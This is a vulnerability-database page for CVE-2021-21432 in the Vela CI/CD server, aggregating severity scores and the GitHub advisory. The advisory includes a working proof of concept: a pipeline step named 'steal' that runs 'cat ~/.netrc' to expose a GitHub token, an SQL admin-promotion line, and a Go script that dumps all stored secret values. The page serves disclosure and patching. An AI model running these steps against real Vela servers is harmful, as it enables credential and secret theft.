CVE-2021-21432
Reject unauthorized access with GitHub PATs
Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.
Attack profile
How easy it is to exploit
- Attack vector
- Adjacent network
- Complexity
- High
- Privileges needed
- Low
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- Low
Exploit likelihood
What each source reports
CVE List Score used
7.5
Reject unauthorized access with GitHub PATs
Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.
- Record
CVE-2021-21432- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L - Weakness
- CWE-285
- Updated
- 2026-11-02
EUVDEUVD-2022-0920
7.5
Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.
- Record
EUVD-2022-0920- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L - Updated
- 2026-11-03
GitHub AdvisoriesGHSA-8j3f-mhq8-gmh4
7.5
Reject unauthorized access with GitHub PATs
Impact
What kind of vulnerability is it? Who is impacted?
The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce
-
Create Vela server
-
Login to Vela UI
-
Promote yourself to Vela administrator
UPDATE users SET admin = 't' WHERE name = <username>
-
Activate repository within Vela
-
Add
.vela.ymlto the repository with the following contentversion: "1" steps: - name: steal image: alpine commands: - cat ~/.netrc -
Look at build logs to find the following content
$ cat ~/.netrc machine <GITHUB URL> login x-oauth-basic password <token> -
Copy the password to be utilized in some later step
-
Add secret(s) to activated repo
-
Copy the following script into
main.gopackage main import ( "fmt" "github.com/go-vela/sdk-go/vela" "os" ) func main() { // create client to connect to vela client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil) if err != nil { panic(err) } // add PAT to request client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN")) secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{}) if err != nil { panic(err) } for _, secret := range *secrets { fmt.Println(*secret.Name) fmt.Println(*secret.Value) } } -
Run the
main.gowith environment specific settingsVELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go
The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.
Patches
Has the problem been patched? What versions should users upgrade to?
- Upgrade to
v0.7.5or later
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- No known workarounds
References
Are there any links users can visit to find out more?
- https://github.com/go-vela/server/pull/246
- https://docs.github.com/en/[email protected]/rest/reference/apps#check-a-token
For more information
If you have any questions or comments about this advisory
- Email us at [email protected]
- Record
GHSA-8j3f-mhq8-gmh4- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L - Weakness
- CWE-285, CWE-862, CWE-863
- Updated
- 2026-11-02
NVD
7.5
Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.
- Record
CVE-2021-21432- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L - CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - CVSS 2.0
- 3.5 Low
AV:N/AC:M/Au:S/C:P/I:N/A:N - Weakness
- CWE-285, CWE-862
- Updated
- 2026-11-02
OSV
6.5
Vela is a Pipeline Automation (CI/CD) framework built on Linux container technology written in Golang. An authentication mechanism added in version 0.7.0 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Refer to the referenced GitHub Security Advisory for complete details. This is fixed in version 0.7.5.
- Record
CVE-2021-21432- CVSS 3.1
- 6.5 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N - Updated
- 2026-11-02
OSVGHSA-8j3f-mhq8-gmh4
7.5
Reject unauthorized access with GitHub PATs
Impact
What kind of vulnerability is it? Who is impacted?
The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce
-
Create Vela server
-
Login to Vela UI
-
Promote yourself to Vela administrator
UPDATE users SET admin = 't' WHERE name = <username>
-
Activate repository within Vela
-
Add
.vela.ymlto the repository with the following contentversion: "1" steps: - name: steal image: alpine commands: - cat ~/.netrc -
Look at build logs to find the following content
$ cat ~/.netrc machine <GITHUB URL> login x-oauth-basic password <token> -
Copy the password to be utilized in some later step
-
Add secret(s) to activated repo
-
Copy the following script into
main.gopackage main import ( "fmt" "github.com/go-vela/sdk-go/vela" "os" ) func main() { // create client to connect to vela client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil) if err != nil { panic(err) } // add PAT to request client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN")) secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{}) if err != nil { panic(err) } for _, secret := range *secrets { fmt.Println(*secret.Name) fmt.Println(*secret.Value) } } -
Run the
main.gowith environment specific settingsVELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go
The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.
Patches
Has the problem been patched? What versions should users upgrade to?
- Upgrade to
v0.7.5or later
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
- No known workarounds
References
Are there any links users can visit to find out more?
- https://github.com/go-vela/server/pull/246
- https://docs.github.com/en/[email protected]/rest/reference/apps#check-a-token
For more information
If you have any questions or comments about this advisory
- Email us at [email protected]
- Record
GHSA-8j3f-mhq8-gmh4- CVSS 3.1
- 7.5 High
CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L - Weakness
- CWE-285, CWE-862, CWE-863
- Updated
- 2026-11-02
OSVGO-2022-0812 No score
Reject unauthorized access with GitHub PATs in github.com/go-vela/server
Reject unauthorized access with GitHub PATs in github.com/go-vela/server
- Record
GO-2022-0812- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
github.com/go-vela/serverGo |
0.7.0 up to 0.7.5 | 0.7.5 |
History
| Recorded | Changed | Sources |
|---|---|---|
| aliases, products | EUVD | |
| first indexed | CVE List, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2021-21432 is a high vulnerability (CVSS 7.5) in Go-vela Vela, published April 9, 2021. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.99%, the 62nd percentile. Fixed in github.com/go-vela/server 0.7.5.
References
github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4
pkg.go.dev/github.com/go-vela/server
github.com/go-vela/server/releases/tag/v0.7.5
github.com/go-vela/server/pull/337
github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46
nvd.nist.gov/vuln/detail/CVE-2021-21432
github.com/advisories/GHSA-8j3f-mhq8-gmh4
github.com/go-vela/server